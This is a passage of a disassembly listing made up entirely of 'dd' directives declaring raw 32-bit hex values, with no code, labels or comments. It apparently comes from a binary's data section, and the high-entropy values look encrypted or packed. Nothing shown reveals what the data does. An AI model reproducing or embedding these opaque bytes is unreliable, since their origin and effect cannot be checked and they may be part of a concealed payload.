986220A7h, 0B354B71h, 0F495519h dd 0BB4B2F8Ch, 5AF5C0DBh, 5EF73929h, 5EF4F8BDh, 3EA9A3FCh dd 6BE59605h, 6F1120FFh, 42615406h, 9E680812h, 0E678C126h dd 37562D19h, 140B57D8h, 471751Ch, 0AEC23E87h, 327E005h dd 21232D3Bh, 0FAD1EB62h, 2CAA3444h, 0D27268D0h, 0E9010904h dd 6EEC5106h, 5320AE92h, 0B1398668h, 0E9548462h, 4835AC98h dd 0AA2A7755h, 6AFE87ACh, 569EF699h, 652BAE42h, 0EE0C4040h dd 0DCB90161h, 0E9F18907h, 0EB003FE1h, 571AE2BEh, 0B4681331h dd 0CC2A8C4Dh, 49467414h, 505F27A7h, 69AE2A68h, 8B4C2CBAh dd 18FD9FEBh, 17BE0FA6h, 6D76380Fh, 0FA7F6E4Eh, 6848B16h dd 480EE7D2h, 0CE142E43h, 880A0764h, 819D137Fh, 84D652F3h dd 3EC96E9Ch, 0CD5FDD5h, 0E6E18E38h, 0E07A0D03h, 5C708D2Dh dd 9460F48h, 543C648Bh, 0C4CC175Ah, 0EFB2FEC0h, 94000448h dd 812E8075h, 2F1220F1h, 0E50776ACh, 0F2FE09E7h, 29E105BEh dd 5A8498DEh, 0B7989697h, 0D488AF79h, 935E1DDEh, 28C0B17Ah dd 4FBA577h, 0AC7E536Dh, 43AEC033h, 0D2576679h, 0BFEBC548h dd 265A58C1h, 0F07EBC7Ch, 442D04BFh, 0AF31CDE9h, 5418A6CAh dd 86E9AA24h, 890C05Eh, 4FA67DC9h, 9432EA69h, 0C0EF00CFh dd 414CC67Fh, 12F73EA9h, 9EA1DA20h, 0BFA43D7Ch, 461E0C09h dd 0FCC62240h, 7471F307h, 12B5286Bh, 0D55C8049h, 51F48214h dd 7F8B13BBh, 0B7F6C4AFh, 5857D232h, 0AF2555DBh, 0D2405E21h dd 2F4FE4E2h, 1A7437F2h, 790577BBh, 0D729AC17h, 58F78309h dd 2A32B0B2h, 955C5B78h, 10690451h, 15DC1Eh, 0EA812585h dd 715554CEh, 4CD42D0Eh, 0F6E92239h, 0B9637489h, 88046220h dd 0C5285AF0h, 0C48BF1B8h, 0D2D204D5h, 0FE2D016h, 6E50765Dh dd 4D40E4A6h, 8B514B66h, 51232C73h, 0A3B14D04h, 0E26C382h dd 91A191A9h, 3F4BDBF7h, 1479D4E0h, 0C4212247h, 0C40E7D03h dd 1ADAE9D5h, 64F0AD4h, 0B73A25CBh, 20BBAB60h, 0A728A328h dd 67141A0Bh, 2F350070h, 9563846Ch, 0F56B46C4h, 0A0147746h dd 0B97F0FCh, 0D93CFF0Eh, 40B85002h, 0DD7D7853h, 8F5D150Ah dd 2DC0F598h, 1C0F4906h, 91FCE910h, 780CBF3Ch, 25921D68h dd 32744702h, 0DCBAB5E9h, 309B8273h, 73402DE2h, 2E04A419h dd 0C509E979h, 81DC0513h, 60A181EBh, 5E5CA57Ah, 0CBBD0181h dd 42464D2Fh, 0C46EA89h, 4DACBABBh, 9E02F64h, 0A1EB5C83h dd 30AE33Dh, 0CE50780h, 0C2350B9Ch, 2E47153Ch, 8F04AD74h dd 68040133h, 0D25009Fh, 90A6348h, 182D8B0Fh, 792EC56h dd 0DD805913h, 0B252C388h, 14112C64h, 0D98A06D2h, 6BE38F5Ah dd 0CF7FFB44h, 0EB015D00h, 60B0F02Ch, 6E73DC09h, 1CB17722h dd 0FFD1A518h, 7F68ED22h, 253E89D9h, 0FE95465Bh, 0BB474A5Eh dd 0B37E0169h, 0DB35C518h, 2A1272FDh, 1A0DCA6Bh, 7FB90C80h dd 5B5FE352h, 0CB135DA9h, 0E0602679h, 0C011FB2Ch, 772A9700h dd 98FD0131h, 0E90880F8h, 0DC844A23h, 0F90B01AAh, 305B4A68h dd 30060976h, 5F1E7FFBh, 6C502BE9h, 7040B456h, 0B3D33BB9h dd 0F1F096B0h, 6A09E479h, 945E952h, 0AFD9E5A1h, 4F2ED5F2h dd 3410103Ah, 0A8CA4E72h, 8631E4D0h, 5B03B962h, 11275B1h dd 0BA71D1F7h, 16460B30h, 80D92955h, 0D8A0436Fh, 4E8B14Ch dd 5D742E6Fh, 1290EBFh, 0B061073h, 8A654Ah, 9E201FC2h dd 350F407Ah, 0E09B51BEh, 8B2A120Dh, 7852C165h, 7E40C46Fh dd 5D3020E0h, 681CB709h, 2606914h, 0BD965AEh, 28E0257h dd 0E2BA04B0h, 1041483Ch, 800B7D92h, 257F40F6h, 30C2C7B7h dd 59000B2Ch, 7E6D1C11h, 9595D25h, 56D4DE70h, 0C160CCF0h dd 1C6CF11Dh, 0E0B6A392h, 5F7F2655h, 1B60D070h, 7AE91DE5h dd 1A22DE04h, 0DA814BBBh, 4C129057h, 6B3A953Ch, 14974EF5h dd 0F8137EE9h, 4C100B81h, 72C4F63Ah, 44EBD281h, 0B0A2EB0Ch dd 8A72E9F0h, 0DEE466A0h, 8945A20Ah, 0A43C89CEh, 7E42AE5Eh dd 0F553073Dh, 6684FEEBh, 5F215922h, 1C363E44h, 4FBA6718h dd 97028662h, 340D681Ch, 0B01C5727h, 0CDACE91Ch, 2FB84A38h dd 0A1E921F1h, 6804406Bh, 65BE0BF6h, 5D650199h, 6A30DC46h dd 54405DF1h, 5AD828B7h, 874EF062h, 6848B173h, 924B3808h dd 69FC0619h, 9A395017h, 56C5015Eh, 4DE9B598h, 0D8BB13DFh dd 744D9DC2h, 3A5D08C6h, 7BBF81BEh, 1420540Eh, 0F1841F45h dd 0AECD92ABh, 9C1AD2Ch, 50E676B9h, 83D28F5h, 0DDAB5D12h dd 44E23FEBh, 0A288FE93h, 5F34073h, 0A687109h, 0C28E5DB9h dd 7A254668h, 808A2AF6h, 18037909h, 0EB613D85h, 68358A7h dd 64F080AFh, 5063D5Ch, 5BF11713h, 0D915205Bh, 1C88BF00h dd 0FA0928F0h, 83A1B85Fh, 0F8AA98C9h, 0E918129Bh, 5A3EC25Bh dd 0D0B3670h, 7C722322h, 0F7CC2DD1h, 14B8829Dh, 3BDC0B19h dd 0C568E184h, 4AECF2BFh, 0FE43D2E0h, 0FDC05BF4h, 0E3EC0424h dd 0CC85E188h, 20CAD95h, 48D6E149h, 809E8B8Fh, 0F4B7F7Ch dd 0D25BE780h, 44F46043h, 0A0E9887Eh, 0D06EBF23h, 72AEDC9Dh dd 19689921h, 0F0DA2F62h, 0B9CEE916h, 0D9C7022Fh, 0DD0C1D3Bh dd 5EF5705h, 0D14FE908h, 60D8315Ch, 585BC3A3h, 0DA9615B9h dd 8F5C1E0Eh, 54E55464h, 0DEE28D82h, 0EA59134Eh, 1352C828h dd 0B3627C68h, 3440B9Dh, 0D32D501h, 0E9E132F6h, 412E37BFh dd 2C02B6Eh, 0F92435F1h dd 1FB0687Ah, 6DC92DADh, 4016400Ch, 688D2F13h, 85855989h dd 1463EC4Ch, 12E4EFC0h, 4E179AF7h, 0C7E4C1F5h, 4A3B90D6h dd 2DEFFDF9h, 54B29152h, 0B26A01E7h, 66D02833h, 0BAF93E5Ah dd 0A5E7677Eh, 0C634F1E2h, 0A2043A7Ah, 0BC2B502h, 0C0A04A5Eh dd 4E6C8204h, 44F984B9h, 0AF502C89h, 33511098h, 6078E6B1h dd 6EF4A11Eh, 278E7109h, 1B21AC3Bh, 3AEC5927h, 40BDAAA4h dd 0F201D85Eh, 48E9A012h, 13DA1324h, 0EE3B821h, 896B71E3h dd 6C63837Eh, 504FEA49h, 0E9510C14h, 0F2CB2726h, 0A419350Bh dd 24605764h, 0E97629DBh, 42F4F14Bh, 4E16F062h, 7DE8CB67h dd 0FB0C8D25h, 2088E8E3h, 68583C07h, 3051D1CEh, 0AC273E24h dd 5702B5D0h, 0B206FA71h, 4BB025D3h, 0D6AF8AD5h, 0EC0AD912h dd 0A640C5E1h, 984D2E72h, 93C42D4Bh, 62892F90h, 0B41080E9h dd 685358B0h, 116A12ECh, 0EB390864h, 6B88BE01h, 18E86F2Dh dd 0AA6697A0h, 7DD8ECC1h, 0C42A27D5h, 0AC071225h, 2EC35132h dd 7724E11Dh, 6FB11C93h, 2B99D92Ah, 96503BF4h, 0E4F38B7Bh dd 0ABA8075Eh, 9D7E4B22h, 0F392BA45h, 55035895h, 9711614Ah dd 1C9205C4h, 54205F21h, 1580420Ch, 25B8B9A3h, 28B743E3h dd 782D084Ch, 0B4E59F5Bh, 5CAF9626h, 0F8FCCBA9h, 0F3023CCAh dd 89269942h, 81B974D1h, 0AA7AF0CBh, 0F2E0203Fh, 9FB7F39h dd 565974E9h, 705571FFh, 46013EFEh, 0FEBD4E49h, 7DCA1351h dd 0DDF7B4E0h, 0AC8B0F3Dh, 0ED8033C6h, 0F5814D07h, 662700A9h dd 46F9BD0Ah, 0E92439CAh, 2FA7BC52h, 626E2B38h, 45005BDBh dd 3A2DFA29h, 163DDF30h, 0B41EF62h, 0C4DA21A7h, 27E17AEFh dd 0BC641DECh, 41EF6803h, 53549D68h, 57FEB872h, 53F80102h dd 0A0E142E9h, 1727EF99h, 272B7BA1h, 0D3FE3692h, 8DF899C4h dd 36F5726h, 5F2BBF1Ch, 0E96933E2h, 0CF08305Ah, 2970E441h dd 0F5440FF1h, 2AAD4AC4h, 43E33A29h, 6F43055Fh, 0DF954BECh dd 8041107Dh, 0F6771EC5h, 0F0F597D5h, 78392D62h, 0DE1A2739h dd 0C4C9138Fh, 2E82EEABh, 0E851575Eh, 0CAE18013h, 0ADBE646Bh dd 76DF8608h, 0EE88270Ah, 82594E85h, 5057CFCAh, 0A42BEBA4h dd 4A4137AFh, 0D6501C7Ch, 385C81E5h, 0D56685F3h, 81AF24EFh dd 0F5236Bh, 90C3835Dh, 0D7942203h, 0ED2E41F0h, 9A1CCA77h dd 95EC9060h, 7E6B6579h, 0DD3318B8h, 5281B24Ch, 0FBCA770h dd 4F19DF30h, 0FC763BA9h, 4FB42AC5h, 0AC9840EFh, 997A8ECh dd 6880B0E8h, 997AEDEDh, 86E96A9Fh, 0AAC852B5h, 15B0C845h dd 4EB3D53h, 0D8E28CDFh, 261FF3D1h, 0FE597319h, 0B9C7404Dh dd 0A65588A6h, 1DFD5480h, 224B7CF4h, 0C305A90Bh, 1FC09A3h dd 3E5C9E81h, 5F0D02Ah, 0A7490EE9h, 0B4BC4004h, 0F58BBE05h dd 13BEDF89h, 0F69EA4Ah, 0EE040FC1h, 0CA29E792h, 0B4C3DFC8h dd 43E282h, 4A7C2D0h, 7EB1C04Fh, 0EADD5AD1h, 863CE2D6h dd 95C36245h, 0D7B091F8h, 71C12145h, 812E8704h, 2E7C826Ah dd 4DB52E80h, 354F0E34h, 0BB70510h, 0EA5FC14Ah, 5EC987EAh dd 9471BE72h, 0F735675Eh, 4AEB6F50h, 0FE568E24h, 25689FB4h dd 0E31854D2h, 775B7D6Ah, 0D8960585h, 0B9009502h, 104662C9h dd 0B7C6435Bh, 9E730522h, 0BE01A29Ch, 0D38BA012h, 23A9E908h dd 0A11CEB92h, 0C32875C5h, 0F651AB0Bh, 45792FF7h, 5B5FC80h dd 24E9DD30h, 87C2DC13h, 3AF65AD4h, 0FCBB209Ch, 25015A32h dd 0B3A4D53Bh, 144A7638h, 2A4E79BEh, 0F697554Bh, 0B905123Dh dd 5650DA02h, 22E94105h, 557F3643h, 35C33A72h, 4747419Bh dd 13A56BE5h, 0F52DBF5Eh, 42E1DE03h, 0AECDF53Bh, 58932AEBh dd 0B2398880h, 0B56395E3h, 0BBD6CDE2h, 1A057B5Ah, 0A5419536h dd 2A3335E0h, 1AF1FD00h, 9F83D282h, 0CC166BDEh, 15B8A357h dd 84393E06h, 0E9186541h, 0C361B301h, 0AF4F1A3Ch, 86D8D84Ch dd 0F432FF27h, 7254075h, 3063F844h, 0BF3504DEh, 49020F32h dd 173AD856h, 9429AB5Bh, 105DB67Ah, 984016BDh, 15B9667h dd 0D239AD0Dh, 0E579E828h, 0FB2445E1h, 0A982CFD4h, 625B07FCh dd 0A0751012h, 5177BC5Fh, 12AB830h, 1B4B5C60h, 2F32870Fh dd 0D7B7AAD1h, 0F1400B89h, 563FBA75h, 0D28C4338h, 79C01E3Bh dd 52055990h, 0E2D0F0B2h, 0FB9DD8C1h, 8C2C003h, 216F0561h dd 33D52656h, 96B5AC30h, 0EB5E582Ah, 0BE510113h, 0C3E9B173h dd 0BB24004Bh, 4E585650h, 5B4FDF21h, 0C17CAD1Ch, 3EA15F60h dd 3ADC9030h, 0C548802Fh, 7D0CA5EBh, 38895F96h, 78F2FC51h dd 0E02C24BDh, 0C45895BAh, 2062F893h, 87A2BD80h, 0EFDD93A4h dd 601C10C3h, 1A5F4112h, 55A29F26h, 0ACA2078Eh, 7174B3E7h dd 23664C3h, 50ABF5A9h, 0CB404B5Ah, 0D3006D3h, 6A4F180Ch dd 0A6148A1h, 79BCAE20h, 1010BD4Ah, 46C70813h, 9671F7BDh dd 6A5D027Fh, 0A90525BEh, 0D38080B4h, 0B763471Ah, 0C73AB9F2h dd 27D6125Dh, 0EE26E8ACh, 762C8994h, 3F689D68h, 0C943549Fh dd 2442014h, 1668135Ch, 0B1A4310Fh, 3BBD7559h, 4E3740F4h dd 7B2DB7D6h, 0D482A127h, 1290CE6Dh, 66F89C90h, 0BAFD92C4h dd 58685821h, 0E90B5E76h, 0A648DD38h, 0A53D4667h, 85F7AD26h dd 4CF959C3h, 2A5F09E1h, 193CE8DDh, 19FFA610h, 0D85C5B54h dd 0E92C83D7h, 7FC2DF43h, 0CB4F25D9h, 64BF0941h, 0AD1E4EA7h dd 0A7523F2Ah, 5F64E0C2h, 0BF3FD355h, 0E90B7C8Fh, 5B68D6F0h dd 0F255C8Eh, 0C7BB491Ch, 13E5C021h, 6A2C9CF9h, 61F36809h dd 9E609F7h, 6978470h, 4E6C102h, 0EA66C5Dh, 42C05FC6h dd 547A214Bh, 0DBD5E916h, 0BB7A61AFh, 44982BE1h, 5D8B051h dd 31352EBAh, 629DBA05h, 0A9A04696h, 62AED34Eh, 5DB8DBh dd 2E685794h, 4FE9AC7Eh, 0C8FCC679h, 0B6596BBEh, 9BF18960h dd 814D2433h, 3B18E96Dh, 0ABD92F01h, 9B06824h, 881B3411h dd 3C6C45DDh, 490BFD3Dh, 5CA2862Ch, 0C123A4B1h, 76CAC244h dd 0CCFE0050h, 0E4118E0Fh, 69FAD5A8h, 8AF42BC4h, 0BD3A5B87h dd 0C32DFBA0h, 57293917h, 0FEDE8361h, 0E04BCF39h, 0E82970A3h dd 3E5B8FB9h, 553FD48Eh, 0F861DD92h, 4B4CC139h, 10203E76h dd 642D02E1h, 0C6E908BEh, 53524248h, 8860B307h, 0D5305BDAh dd 568665Ah, 92E90AC8h, 29473011h, 749F5FFAh, 0A8026B5Fh dd 0C40FA8FCh, 3EC1C383h, 667B52AAh, 0F7302845h, 1EC7F9F4h dd 25DE3D7Ch, 16FA709Ah, 0AD3B45DDh, 3D097397h, 0A19E5FA5h dd 5764C496h, 6361BFCCh, 2CC1352Eh, 0EC736AC9h, 95BEB93Ah dd 994DC9A0h, 4513E7Ch, 0D1162D5h, 9C108A0h, 3BF934D2h dd 3CEA697Dh, 0BF42A5C8h, 45F70D42h, 5D229261h, 0DFC14B46h dd 5F0E3A77h, 685C57FAh, 0C4D54F95h, 590EE0h, 0DF121F2Dh dd 5D80177h, 685B07A0h, 0E667E72Dh, 2F840C44h, 66BA787Fh dd 0E30B2938h, 0A36803AAh, 745D131Dh, 921CFC2Dh, 99BE1009h dd 0BF795E65h, 33154318h, 69B5287Fh, 882D4F2Bh, 0A85A5749h dd 0E9DAF08Fh, 0AC784C30h, 836BBC8Eh, 1DBD782Ah, 0E204EF60h dd 199C0005h, 13093972h, 0B198E9D9h, 0BEF73E23h, 8C8CF115h dd 64BDE45Eh, 0CF248F94h, 82A67325h, 0DED5C93h, 7370205Fh dd 2075E55Eh, 28D07401h, 13289A0Ch, 605BDA1Ch, 0E458773h dd 4825144Dh, 0E07B8147h, 55C061F5h, 0F22D4007h, 646BC165h dd 580243D7h, 0B9891D9h, 542F0AE9h, 25C283A6h, 69C769FCh dd 16087308h, 88E085Dh, 54F0E122h, 0D057B461h, 9EE41504h dd 95D292DEh, 21F23B78h dd 9470C12h, 55E83E81h, 77E29C52h, 0D0F2EFAh, 653DC45Bh dd 0CEEB2334h, 0DCF14F40h, 176B47Fh, 1524C0A4h, 5B651609h dd 4231D8BFh, 0EB3F6662h, 28D2E808h, 0F6A0778h, 8E53182h dd 42CFF301h, 146E4B33h, 850000FFh, 0F78E12Eh, 0CA6F6383h dd 687E812Bh, 8AF14E48h, 5378A2C5h, 91D02CC5h, 8C19E37Ah dd 0BBDA0A3h, 0F60E4E20h, 0B95A7FA7h, 0BF1B7A4h, 0F48B0711h dd 0C45AEAF6h, 2BACB8h, 0A872412Dh, 5391055Eh, 13E30ECh dd 0F20751F0h, 4CE91182h, 0BFB56DEBh, 680BB8CFh, 9F714EF1h dd 109BD68Dh, 0F2D23278h, 32F0028h, 0A8E92EEAh, 0A2014E32h dd 5B68C2B4h, 50A6C52h, 7C8818A3h, 0B0DFA821h, 54A86856h dd 5AE59905h, 0EA3407D9h, 0B45A2B81h, 86206DBAh, 0AF879591h dd 0B267C20Fh, 0E9841AFEh, 56AE1A06h, 8F0CA99Ah, 3802E845h dd 68FBF45Fh, 0E85C2829h, 3B90EBEh, 1ECF943Eh, 7E640E7Eh dd 0B74312B7h, 7C49F341h, 1AB3E0Eh, 0B65E855Ch, 264A168Dh dd 0C9DE8FE9h, 0DB0B0DBh, 0FC3414DFh, 0E6EFDA40h, 64B7441Ch dd 11DE6217h, 898BC110h, 891409CEh, 74E13246h, 7957524Ch dd 145FA5FEh, 0DEFCB730h, 18368152h, 0E9F43766h, 43415928h dd 221C055Ah, 2F87F3F2h, 755FC2ACh, 0D83976E0h, 0F75C929Fh dd 1C711382h, 0C8419877h, 0F112957Fh, 1E13E057h, 0BE14D3ADh dd 4EC33C0Eh, 0AB098F85h, 0F55EABE3h, 0DC1089h, 76F25906h dd 2005090Ch, 150B088Bh, 524D604h, 8AC1DEF7h, 0DC3ADB3Ch dd 8326E91Bh, 0FE9F576Fh, 1F841870h, 0EC895A60h, 49F126C5h dd 5C974E26h, 16754A05h, 712929B5h, 556CA810h, 53129A0Eh dd 0AAF1DD34h, 54817F62h, 729AA7A7h, 585418E8h, 16B4D397h dd 2D99C0A1h, 6525035Eh, 82D6506Eh, 0C4D9E607h, 0AA188C62h dd 0E984DEB6h, 1754FCF9h, 180C525Dh, 9ED254Eh, 1ED236EFh dd 85BA8F5h, 2B09E904h, 2D60A96h, 4A4F5EB0h, 654C583h dd 7885D113h, 0FC213E2Dh, 109E9C28h, 0AD553DA0h, 8075019Bh dd 0E53B17EEh, 7D58D53Ch, 0AA9D1870h, 0B5FCCCB5h, 11FC27C6h dd 6805C196h, 98E34A62h, 662D0705h, 4C7EE1Eh, 138648B3h dd 0FDCBF347h, 0E59B12CDh, 9D2514Bh, 6102D392h, 643BAAE9h dd 6EF78BF4h, 42B93DA8h, 0D5602CEh, 8195B844h, 0D858A6EAh dd 9985E12Ah, 7C2D806Dh, 18F1FFDh, 36EFC24Ah, 884ACAC6h dd 9F4598E3h, 0D2F3E23Ah, 6804DCAFh, 4C55B52Dh, 0FB094DCFh dd 7545E569h, 7AA8BA01h, 27E0B48h, 0AC3C52A5h, 95CB7EE0h dd 5C00F69Bh, 3156BA5Dh, 15B4CDAh, 5E4B1220h, 402546A4h dd 6B48BE0Ch, 50352D92h, 717B9776h, 202F72CBh, 99A11F6Bh dd 79F8D844h, 0F4BD2F6h, 0E34AFBA6h, 6E716C0h, 731EEC85h dd 7DF88109h, 995F7722h, 0AF381549h, 1879D06Dh, 0C32D12Ah dd 0DF16078Ch, 3CBB5970h, 9F30E982h, 3FF13D2Dh, 6CA92D21h dd 0C687F474h, 6F104F2Ah, 0BC11E168h, 3BE860B6h, 0BEB81CF2h dd 9B087199h, 0EF80002Bh, 0FD88513Ch, 1178E8B7h, 0BA1CC0ABh dd 0C7A5320h, 0F3D78925h, 3DBD007Ah, 0E97D4FD2h, 30C80532h dd 0E847D55Bh, 6894DFADh, 0A70BFC5Ah, 4909715Ah, 52C80600h dd 0E9164ABBh, 0C4A94EEEh, 8446CBDEh, 68058251h, 1BAD14A4h dd 0F751558Bh, 275F71A5h, 7D4267F6h, 5B2D00DCh, 8F4A87E6h dd 0EC5F46FDh, 0F8BC2946h, 0EA2725BCh, 4E81006Ch, 64413D07h dd 0F1711F29h, 0A5F36FE5h, 0AA5AE394h, 82873F3Ch, 0F0B1D082h dd 0EA02800Ah, 0E1213370h, 0FC69D940h, 78D0F203h, 8DE350F4h dd 0E9E0A0F5h, 9EDDF530h, 3A805256h, 834BDFF3h, 9032D36Eh dd 7EF15E60h, 0C8CD60DEh, 0F0989E50h, 89E99B82h, 0F9703105h dd 0C78D9F34h, 78A76C80h, 0B55F5D57h, 17292A89h, 0E3A1D184h dd 8BBB3104h, 0BC938934h, 0F88F56C2h, 0EE87B03Eh, 1E932DE9h dd 0E8081168h, 0F9D1295h, 0DCA46D5h, 0C7BA20E7h, 0D3D935A2h dd 0FB4BED90h, 0F8FAF009h, 0BFD695F2h, 0BDD3925Ch, 811CED82h dd 5A027FFEh, 80710E30h, 8C789D94h, 0A5E91068h, 85BD0253h dd 57C69BE6h, 85E1DC2h, 214DC2Fh, 63433E7Eh, 48F8E41h dd 0F3790DFEh, 3E9D08E7h, 0BB419641h, 0AE056209h, 7E25A5F7h dd 0E27F7E92h, 0F3DDA2ECh, 6E494119h, 1CB2192h, 7E6F902Dh dd 5859F42Ah, 5AD11BC1h, 0CC3ACB01h, 9E3DE945h, 0EDCCCA0Bh dd 34AA4F7Ch, 0A8C21230h, 0B82EADFDh, 2195B7E8h, 58C708D4h dd 3DC0FC5Fh, 9FC8553h, 8D37D0F3h, 0BF19B324h, 1B6E65Ah dd 10EE1A8Eh, 1E6502E9h, 509D9A3Fh, 0ED5EBE1Eh, 6526958Ah dd 0CC63AEDCh, 0A024E97Fh, 96F38F9h, 51672B73h, 91C28DAh dd 5D683B67h, 0ED515778h, 54BE9608h, 27BD2680h, 40A1301Dh dd 444ECF32h, 0E4D4A33h, 2998A1CEh, 1964EEF4h, 6C01A85Bh dd 0F0C907ADh, 3ED9048Eh, 0EA5D7A72h, 0ADA92D65h, 0BB332C5Ah dd 0C62C3384h, 9C859CAh, 0FA4FB753h, 0FE2DA7F9h, 68DE83F7h dd 0E3AE85CCh, 0C0EECB28h, 2EEAD1E6h, 8AFC23Bh, 68058E6Bh dd 0A6371BF0h, 0B67E4080h, 0F6E92774h, 0C3A88A51h, 0D913085Fh dd 0C2B409BCh, 92D50685h, 1D175FDh, 0B07A5CF1h, 0D8031740h dd 0F7D78741h, 470826D2h, 448C0058h, 0EF834A35h, 68F8017Eh dd 87E6555Bh, 2BE50B07h, 0E9CFB0C0h, 0BA9F4F65h, 96C855D8h dd 3991647Eh, 4A07C02Fh, 0BDF028A6h, 4B8002E8h, 0D601390Dh dd 6CED2BC0h, 44B58B1h, 0B8941503h, 0E6110CA9h, 0DCE52FAEh dd 30B8029Dh, 0C37F6EBDh, 53C80061h, 0E925CB61h, 1B1027Ah dd 0F5185602h, 6763F75Dh, 517B3FF1h, 786D8BD0h, 3225CE2Fh dd 0C101C3F2h, 0F4B82E1Bh, 0D5982151h, 80D0176Ah, 3C74A143h dd 0A27EF929h, 72314208h, 72F60753h, 0B67BA57Ch, 6897BF75h dd 0A2CEE15Dh, 304075F7h, 6AE14456h, 85973AE9h, 0C7DB00B8h dd 12A3E91Bh, 42E35BC1h, 9E20E452h, 1FE0BF3h, 0AF4022DBh dd 2D807E8Ah, 24B137Dh, 41D5013Ch, 2E77BA6Fh, 40C205B0h dd 0CE482CF9h, 5B103871h, 2C568BBh, 18C98D94h, 0B0B353BBh dd 0D8C339A1h, 0DCB0EB99h, 0B0BE5719h, 70FFFAEDh, 16C8894Dh dd 0EB202779h, 30AD59F1h, 0AE02D47h, 365DE955h, 24524B5h dd 58E37F15h, 78FD1030h, 5181A65Dh, 2B252668h, 550D798Ch dd 0FE8268EEh, 3A88432Eh, 0B5392057h, 0C044B011h, 3F8E860Ch dd 3325E9F8h, 841E5984h, 0D263F268h, 0C0E492CFh, 0E97011BCh dd 8CB24BE2h, 0EA31687Eh, 0DD4D1D0Fh, 70800005h, 31506E9Ch dd 0CC5AF27Dh, 64EB3D40h, 0F630101Ch, 0BD0D7B0Bh, 0DB2DAC10h dd 88816F9Dh, 8A505F37h, 1B2C2DFEh, 0E910C164h, 0C740CC63h dd 35E06FFAh, 0A45897A0h, 822C0F2Eh, 99A86DF6h, 8A170879h dd 7F90439Ah, 2D6F601Ah, 4F5C4106h, 0BA274E80h, 28CA31E8h dd 0BCEF4A59h, 0C2018BFDh, 0EF8CED04h, 8B3912CBh, 0A5CDE85Eh dd 0B3E117FBh, 60979F71h, 0F4B9AC0h, 0E72CEF81h, 0AFF77481h dd 0B52F743Ch, 7E565527h, 23E2E0E3h, 2D0479F8h, 96D02E4h dd 1619C4BEh, 127B8A07h, 1FA9ED68h, 0ADFC9C2Eh, 9708467Eh dd 8C50147Bh, 330A2600h, 5310B81Dh, 315CC30Bh, 0C22302C8h dd 65BB0078h, 204EBC05h, 9087B9A1h, 0C5855815h, 12D7804Ah dd 274C9250h, 0AE1063D0h, 0D8A292C5h, 9FE97F89h, 24E01CCBh dd 0D8FBC40Bh, 1F3C36F5h, 60C6093h, 5BB1CE7Dh, 7D0F989h dd 2021FDEAh, 32BAFA95h, 0C4DF5789h, 0EA684C45h, 77DE899Eh dd 1518CB0h, 0E3C377C0h dd 0A44B0436h, 0D4459724h, 0DA16FD2Ch, 1A6326D1h, 0F1C4696Ch dd 348B04B4h, 474B8AA3h, 0E797B06Dh, 1B9AD316h, 0F54B7A50h dd 0F380EEBEh, 187B5BD3h, 65DD4889h, 0C6EA2919h, 0EC0E2F7h dd 0C62F3049h, 1373582Eh, 11DEF3Bh, 34F1FC9h, 0A0A42F74h dd 9C8B6B0h, 20FFE7D1h, 78CB797Eh, 15A8201h, 0F7A06F20h dd 360BF23Ah, 5038E302h, 0C0D29351h, 0BB535784h, 8F253F39h dd 0B938E052h, 1D060BFCh, 0CD8310Eh, 2EE63B35h, 2C36483h dd 135B90Ah, 0EEF218BDh, 0D8779369h, 0A3435515h, 957419F0h dd 0A0F6B32Eh, 799FCA42h, 0D505C00Bh, 72500F01h, 8885BF1h dd 45D0837Ah, 7D7A1469h, 44856C4Ah, 8B0B8DAAh, 9147ABEBh dd 4EE85933h, 0B0AE9009h, 0DEF701E9h, 0E5C1F587h, 50F33F07h dd 0BEEE40h, 14EF62EEh, 116E7E9h, 7A728094h, 99492D4Dh dd 578D41D1h, 0E17B8B8Ch, 13D43A8Ah, 6EAEAA82h, 0EC544FD7h dd 0CD09DE7Ch, 5130FE62h, 3C5CF45Bh, 95FE6B7h, 307F2138h dd 62B7EC96h, 8029831Ah, 3102BFFCh, 0EBF761F0h, 9F85283Bh dd 21747A04h, 0B7FF28E9h, 0D72A7B59h, 13A03CFBh, 5DEA62CFh dd 0BCBB831h, 0EA2C0AE9h, 0AD58283Dh, 39A74125h, 0B801D8E6h dd 619C0540h, 0FA99C47Bh, 0A366FC12h, 38E30B5Ch, 2E00417Bh dd 0D0B3F01Eh, 5B5B58F8h, 189474ACh, 897DEF4Bh, 29C9A268h dd 9778CEAh, 5099DE31h, 7D5284E9h, 3507019Fh, 10CF4667h dd 0E761DD4h, 512506BEh, 40246B43h, 0BB3452D8h, 0F5BE490h dd 0F8212806h, 0CB60B59Dh, 0BF0B5753h, 0FDDF6B6Ch, 0C81C322h dd 0BEE90E75h, 7F00F353h, 59C0C645h, 6FB40557h, 0C81A35E9h dd 3A1E9438h, 3B826910h, 753CE473h, 2DBFE702h, 0DFADDDD1h dd 7BF9CD93h, 0D2752956h, 0D7C01C17h, 9D5A0203h, 569DAB5Eh dd 0C53122F1h, 0E3B6E1CAh, 594F0D2Ah, 0A8AF2C27h, 347A4A68h dd 319DF34Ch, 0CA8868B1h, 72E9D7C8h, 3FFE97DDh, 0CFB77E49h dd 24CDF0C5h, 93E1BE6Eh, 788F8DAh, 0CA685250h, 0FF611411h dd 0BCF8872Dh, 5CEC0B3Ch, 0FFC126E9h, 0D5C03E55h, 9A1E6372h dd 1CD8B6C2h, 0F19EEC1h, 1A9108Bh, 89C90B6Bh, 0CDE17BB4h dd 104CCA6Eh, 12DC0E1h, 5E2DD9FBh, 1C6E2C03h, 1E80BA89h dd 682E9126h, 0C5A9115Fh, 0B5002F7Eh, 0D839F2BAh, 981754Ch dd 238827A5h, 223620FDh, 0C170E00Fh, 0B7052F1Ch, 46F7063h dd 1B7E12C0h, 36E90F32h, 0C2A4F7FDh, 0C28564Dh, 125AF180h dd 244E40DCh, 2DE6158h, 46AA5C31h, 1AC87509h, 52F0191h dd 3EE7C10h, 905CE953h, 595D3416h, 7AF886E1h, 0BE016212h dd 2D002CE5h, 7A652598h, 35552623h, 0C1E82CEh, 0AC850AEEh dd 881BAE5h, 546E29A6h, 0D112B6A4h, 0C48AE2A0h, 8DBBC03Ah dd 0CB6221B1h, 601BB2A1h, 3879708Bh, 0DB447E4Bh, 55028B33h dd 5579FE68h, 0D84516BFh, 39B176E4h, 0C15FD351h, 7505CCCh dd 17C8E5D0h, 0F1806D2h, 1938448Ch, 60AFF504h, 81EF3F2Ah dd 0DEC5C2h, 17E80548h, 8422836h, 5F00ED09h, 0BB43E22Dh dd 9569F641h, 79DF8B62h, 4A559F51h, 13040C9h, 5D1DE28Ch dd 0E4412131h, 1413BBE6h, 21FE3B19h, 72276C9Bh, 3950161h dd 800F04E3h, 498730C9h, 0F59179EBh, 